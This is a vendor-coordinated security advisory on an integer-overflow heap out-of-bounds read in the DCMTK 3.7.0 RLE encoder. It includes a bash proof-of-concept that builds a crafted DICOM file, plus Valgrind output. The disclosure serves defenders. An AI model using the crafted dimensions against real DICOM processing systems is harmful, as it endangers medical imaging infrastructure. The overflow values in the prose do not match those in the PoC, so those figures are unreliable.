📄 DCMTK 3.7.0 RLE Encoder Heap Out-of-Bounds Read
Advisory ID: SYSS-2026-049
Product: DCMTK (DICOM ToolKit)
Manufacturer: OFFIS e.V. / DCMTK Community
Affected Version(s): 3.7.0
Tested Version(s): 3.7.0
Vulnerability Type: Integer Overflow or Wraparound (CWE-190)
Risk Level: High
Solution Status: Fixed
Manufacturer Notification: 2026-07-02
Solution Date: 2026-07-03
Public Disclosure: 2026-07-31
CVE Reference: Not yet assigned
Author of Advisory: Matthias Deeg, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
DCMTK (DICOM ToolKit) is an open-source collection of libraries and
applications implementing large parts of the DICOM (Digital Imaging
and Communications in Medicine) standard (see [1]).
The Run-Length Encoded (RLE) compression codec encoder is vulnerable to
an integer overflow in the expected-size sanity check. An attacker who
can supply a crafted DICOM file with attacker-controlled image dimensions
can bypass the sanity check and cause the encoder to read beyond the
Pixel Data heap allocation.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
The function DcmRLECodecEncoder::encode() in libsrc/dcrlecce.cc (lines 186,
215-216, 243, and 256-268) performs a sanity check using 32-bit arithmetic
for attacker-controlled dimensions:
if (numberOfStripes * columns * rows * numberOfFrames > length)
result = EC_CannotChangeRepresentation;
const Uint32 bytesPerStripe = columns * rows;
const Uint32 frameSize = columns * rows * samplesPerPixel *
bytesAllocated;
frameOffset = frameSize * currentFrame;
pixelPointer = pixelData8 + frameOffset + sampleOffset +
bytesAllocated - byte - 1;
for (pixel = 0; pixel < bytesPerStripe; ++pixel)
rleEncoder->add(*pixelPointer);
The sanity check uses 32-bit arithmetic. With Rows=65535, Columns=65535,
BitsAllocated=8, SamplesPerPixel=1, and NumberOfFrames=131073, the
expected byte count wraps to 1, so a two-byte Pixel Data element passes
the check. The encoder then sets bytesPerStripe to 65535 * 65535 and
reads past the two-byte heap allocation almost immediately.
The attack chain is as follows:
1. The attacker crafts a DICOM file with carefully chosen Rows, Columns,
and NumberOfFrames values that make the sanity product overflow
to a small value.
2. The Pixel Data element is set to the small overflowed size.
3. The sanity check passes, because the overflowed product is <= length.
4. The encoder enters the stripe loop with the correct (large)
bytesPerStripe value.
5. The encoder reads beyond the Pixel Data heap allocation.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
The following PoC script demonstrates this security vulnerability:
cat > poc.sh << 'EOPOC'
#!/bin/bash
# Demonstrate the RLE encoder size-check overflow through dcmcrle
# Proof of concept exploit for SYSS-2026-049
set -u
POC_DIR="$(cd "$(dirname "$0")" && pwd)"
WORKDIR="$(mktemp -d /tmp/dcmtk-dcmcrle.XXXXXX)"
INPUT_DUMP="${WORKDIR}/poc.dump"
INPUT_DCM="${WORKDIR}/poc.dcm"
OUTPUT_DCM="${WORKDIR}/poc.rle.dcm"
LOG="${WORKDIR}/dcmcrle.valgrind.log"
cleanup()
{
rm -rf "${WORKDIR}"
}
trap cleanup EXIT
require_tool()
{
command -v "$1" >/dev/null 2>&1 || {
echo "[!] Missing required tool: $1"
exit 1
}
}
require_tool dump2dcm
require_tool dcmdump
require_tool dcmcrle
require_tool valgrind
require_tool timeout
cp "${POC_DIR}/exploit_cli.dump" "${INPUT_DUMP}"
echo "[*] RLE encoder expected-size overflow via dcmcrle"
echo "[*] Building crafted DICOM input with dump2dcm"
dump2dcm "${INPUT_DUMP}" "${INPUT_DCM}" || exit 1
echo "[*] Crafted image parameters:"
dcmdump +P 0028,0008 +P 0028,0010 +P 0028,0011 +P 0028,0002 +P 0028,0100
+P 7fe0,0010 "${INPUT_DCM}"
echo "[*] 32-bit sanity product: 1 * 2 * 65535 * 2147418111 == 2 (mod 2^32)"
echo "[*] Running dcmcrle under Valgrind to stop at the first invalid read"
set +e
timeout 20 valgrind --quiet --error-exitcode=99 --exit-on-first-error=yes \
dcmcrle "${INPUT_DCM}" "${OUTPUT_DCM}" >"${LOG}" 2>&1
RC=$?
set -e
cat "${LOG}"
if [ "${RC}" -eq 99 ] &&
grep -q "Invalid read of size 1" "${LOG}" &&
grep -q "DcmRLECodecEncoder::encode" "${LOG}" &&
grep -q "dcrlecce.cc:268" "${LOG}" &&
grep -q "0 bytes after a block of size 2" "${LOG}"; then
echo "[+] SUCCESS: dcmcrle reached the RLE stripe loop and read
past the 2-byte Pixel Data buffer"
exit 0
fi
echo "[!] FAILED: expected Valgrind invalid-read evidence was not observed"
echo "[!] Workdir retained for inspection: ${WORKDIR}"
trap - EXIT
exit 1
EOPOC
The exploit causes the RLE encoder to segfault when reading the guard
page, confirming the out-of-bounds read.
./poc.sh
[*] RLE encoder expected-size overflow via dcmcrle
[*] Building crafted DICOM input with dump2dcm
[*] Crafted image parameters:
(0028,0008) IS [2147418111] # 10, 1
NumberOfFrames
(0028,0010) US 65535 # 2, 1 Rows
(0028,0011) US 2 # 2, 1 Columns
(0028,0002) US 1 # 2, 1
SamplesPerPixel
(0028,0100) US 8 # 2, 1
BitsAllocated
(7fe0,0010) OB 41\42 # 2, 1 PixelData
[*] 32-bit sanity product: 1 * 2 * 65535 * 2147418111 == 2 (mod 2^32)
[*] Running dcmcrle under Valgrind to stop at the first invalid read
==53104== Invalid read of size 1
==53104== at 0x49CB83A: UnknownInlinedFun (dcrleenc.h:103)
==53104== by 0x49CB83A: DcmRLECodecEncoder::encode(unsigned short
const*, unsigned int, DcmRepresentationParameter const*,
DcmPixelSequence*&, DcmCodecParameter const*, DcmStack&, bool&) const
(dcrlecce.cc:268)
==53104== by 0x49090A8: DcmCodecList::encode(E_TransferSyntax,
unsigned short const*, unsigned int, E_TransferSyntax,
DcmRepresentationParameter const*, DcmPixelSequence*&, DcmStack&, bool&)
(dccodec.cc:625)
==53104== by 0x49C0C6F: DcmPixelData::encode(DcmXfer const&,
DcmRepresentationParameter const*, DcmPixelSequence*, DcmXfer const&,
DcmRepresentationParameter const*, DcmStack&) (dcpixel.cc:497)
==53104== by 0x49C0EFF:
DcmPixelData::chooseRepresentation(E_TransferSyntax,
DcmRepresentationParameter const*, DcmStack&) (dcpixel.cc:292)
==53104== by 0x491921C:
DcmDataset::chooseRepresentation(E_TransferSyntax,
DcmRepresentationParameter const*) (dcdatset.cc:810)
==53104== by 0x40044D2: main (dcmcrle.cc:295)
==53104== Address 0x5dbe8b2 is 0 bytes after a block of size 2 alloc'd
==53104== at 0x4856168: operator new[](unsigned long, std::nothrow_t
const&) (vg_replace_malloc.c:850)
==53104== by 0x495ACA7: DcmElement::newValueField() (dcelem.cc:708)
==53104== by 0x4959E7B: DcmElement::loadValue(DcmInputStream*)
(dcelem.cc:613)
==53104== by 0x495C141: DcmElement::read(DcmInputStream&,
E_TransferSyntax, E_GrpLenEncoding, unsigned int) (dcelem.cc:1168)
==53104== by 0x49F7F07: DcmPolymorphOBOW::read(DcmInputStream&,
E_TransferSyntax, E_GrpLenEncoding, unsigned int) (dcvrpobw.cc:289)
==53104== by 0x49C156D: DcmPixelData::read(DcmInputStream&,
E_TransferSyntax, E_GrpLenEncoding, unsigned int) (dcpixel.cc:890)
==53104== by 0x4983B6E: DcmItem::readSubElement(DcmInputStream&,
DcmTag&, unsigned int, E_TransferSyntax, E_GrpLenEncoding, unsigned int)
(dcitem.cc:1302)
==53104== by 0x4989F88: DcmItem::readUntilTag(DcmInputStream&,
E_TransferSyntax, E_GrpLenEncoding, unsigned int, DcmTagKey const&)
(dcitem.cc:1479)
==53104== by 0x4916ADD: DcmDataset::readUntilTag(DcmInputStream&,
E_TransferSyntax, E_GrpLenEncoding, unsigned int, DcmTagKey const&)
(dcdatset.cc:437)
==53104== by 0x49801FF: DcmFileFormat::readUntilTag(DcmInputStream&,
E_TransferSyntax, E_GrpLenEncoding, unsigned int, DcmTagKey const&)
(dcfilefo.cc:786)
==53104== by 0x497D428: DcmFileFormat::loadFileUntilTag(OFFilename
const&, E_TransferSyntax, E_GrpLenEncoding, unsigned int,
E_FileReadMode, DcmTagKey const&) (dcfilefo.cc:989)
==53104== by 0x497D6FD: DcmFileFormat::loadFile(OFFilename const&,
E_TransferSyntax, E_GrpLenEncoding, unsigned int, E_FileReadMode)
(dcfilefo.cc:922)
==53104==
==53104==
==53104== Exit program on first error (--exit-on-first-error=yes)
[+] SUCCESS: dcmcrle reached the RLE stripe loop and read past the
2-byte Pixel Data buffer
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
This security issue was fixed with the commit
7e9a836672baad9e3b03fcde160d5e16de681bd5 (see [4]).
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclosure Timeline:
2026-07-02: Vulnerability reported to manufacturer
2026-07-02: Manufacturer acknowledges receipt of security advisories
2026-07-03: Security fix published by manufacturer (see [4])
2026-07-31: Public release of security advisory
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
References:
[1] DCMTK project website
https://dcmtk.org/en/
[2] SySS Security Advisory SYSS-2026-049
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2026-049.txt
[3] SySS GmbH, SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy
[4] DCMTK security fix
https://github.com/DCMTK/dcmtk/commit/7e9a836672baad9e3b03fcde160d5e16de681bd5
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Credits:
This security vulnerability was found by Matthias Deeg of SySS GmbH with
the assistance of SySS AI.
E-Mail: matthias.deeg (at) syss.de
Public Key:
https://www.syss.de/fileadmin/dokumente/PGPKeys/Matthias_Deeg.asc
Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer:
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS
website.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright:
Creative Commons - Attribution (by) - Version 4.0
URL: https://creativecommons.org/licenses/by/4.0/deed.enData
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07 Aug 2026 00:00Current
5.4Medium risk
Vulners AI Score5.4